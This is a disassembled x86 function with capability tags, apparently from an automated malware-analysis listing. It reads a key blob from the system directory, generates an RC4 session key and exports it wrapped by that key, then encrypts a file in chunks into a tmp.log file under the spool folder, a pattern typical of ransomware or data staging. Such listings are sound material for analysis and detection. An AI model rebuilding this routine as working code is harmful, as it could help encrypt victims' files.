Function at 0x4062d2
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Get common file path
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf04
mov dword [ebp - 0xae4], 0
mov dword [ebp - 0x91c], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x9b8], 0
mov dword [ebp - 0x9c4], 0
mov byte [ebp - 0x9bc], 0
mov dword [ebp - 4], 0x8c
push 0xff
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.kUk.c
lea ecx, [ebp - 0x110]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
lea edx, [ebp - 0x110]
push edx
call fcn.00401f51
add esp, 4
test eax, eax
jne 0x40636d
push 0x94
lea eax, [ebp - 0x110]
push eax
push str.fb___
call fcn.00404193
add esp, 0xc
push 0xff
lea ecx, [ebp - 0xac8]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str._spool_
lea edx, [ebp - 0xac8]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
lea eax, [ebp - 0xad8]
push eax
call dword [sym.imp.MSVCRT.dll_tmpnam]
add esp, 4
lea ecx, [ebp - 0xad8]
push ecx
lea edx, [ebp - 0xac8]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push str.tmp.log
lea eax, [ebp - 0xac8]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocString
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0xadc], eax
cmp dword [ebp - 0xadc], 0
jne 0x406406
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
push 0
mov edx, dword [ebp - 0xadc]
push edx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0x9c0], eax
push 0
lea eax, [ebp - 0x9b8]
push eax
mov ecx, dword [ebp - 0x9c0]
push ecx
lea edx, [ebp - 0xee4]
push edx
mov eax, dword [ebp - 0xadc]
push eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov ecx, dword [ebp - 0xadc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x9c0]
cmp edx, dword [ebp - 0x9b8]
je 0x406465
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
push 0
push 1
push str.Microsoft_Base_Cryptographic_Provider_v1.0
push 0x4157e8
lea eax, [ebp - 0xae4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
jne 0x4064d9
push 8
push 1
push 0
push 0x4157ec
lea ecx, [ebp - 0xae4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
jne 0x4064d9
cmp dword [ebp - 0xae4], 0
je 0x4064ce
push 0
mov edx, dword [ebp - 0xae4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
lea eax, [ebp - 0x114]
push eax
push 1
push 0x6801
mov ecx, dword [ebp - 0xae4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
jne 0x40650e
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
lea edx, [ebp - 0x91c]
push edx
push 0
push 0
mov eax, dword [ebp - 0x9b8]
push eax
lea ecx, [ebp - 0xee4]
push ecx
mov edx, dword [ebp - 0xae4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
jne 0x40654e
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
mov dword [ebp - 8], 0x400
mov dword [ebp - 4], 0x8c
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocString
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0xadc], eax
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0xac8]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xadc], 0
jne 0x4065ba
cmp dword [ebp - 0xc], 0
jne 0x4065ba
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x9b4]
push eax
push 0
push 1
mov ecx, dword [ebp - 0x91c]
push ecx
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
je 0x406659
lea eax, [ebp - 0xef0]
push eax
mov ecx, dword [ebp - 0xadc]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov dword [ebp - 0xeec], eax
mov edx, dword [ebp - 0xef0]
shl edx, 0x20
add edx, dword [ebp - 0xeec]
xor eax, eax
mov dword [ebp - 0xef8], edx
mov dword [ebp - 0xef4], eax
mov ecx, dword [ebp - 0xef8]
mov dword [ebp - 0x924], ecx
mov edx, dword [ebp - 0xef4]
mov dword [ebp - 0x920], edx
push 0
lea eax, [ebp - 4]
push eax
push 0x98
lea ecx, [ebp - 0x9b4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
jmp 0x406664
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
mov dword [ebp - 0xae0], 0
mov dword [ebp - 0x118], 0
push 0
lea eax, [ebp - 0x9c4]
push eax
push 0x400
lea ecx, [ebp - 0x918]
push ecx
mov edx, dword [ebp - 0xadc]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [ebp - 0x9c4], 0
je 0x406796
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
mov dword [ebp - 0xefc], 0
mov ecx, dword [ebp - 0x9c4]
mov dword [ebp - 0xf04], ecx
cmp dword [ebp - 0x9c4], 0x400
je 0x4066e2
mov dword [ebp - 0xefc], 1
push 0x800
lea edx, [ebp - 0xf04]
push edx
lea eax, [ebp - 0x918]
push eax
push 0
mov ecx, dword [ebp - 0xefc]
push ecx
push 0
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
jne 0x406727
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
mov dword [ebp - 0xf00], 0
push 0
lea eax, [ebp - 0xf00]
push eax
mov ecx, dword [ebp - 0xf04]
push ecx
lea edx, [ebp - 0x918]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov ecx, dword [ebp - 0xf00]
cmp ecx, dword [ebp - 0xf04]
jne 0x40676f
mov edx, dword [ebp - 0xae0]
add edx, 1
mov dword [ebp - 0xae0], edx
push 0
lea eax, [ebp - 0x9c4]
push eax
push 0x400
lea ecx, [ebp - 0x918]
push ecx
mov edx, dword [ebp - 0xadc]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
jmp 0x40669a
mov eax, dword [ebp - 0xadc]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x114]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
jne 0x4067d1
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
mov eax, dword [ebp - 0x91c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
jne 0x4067f5
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
push 0
mov ecx, dword [ebp - 0xae4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0xee8], 0
jne 0x40681b
mov al, byte [ebp - 0x9bc]
jmp 0x40681d
mov al, 1
mov esp, ebp
pop ebp
ret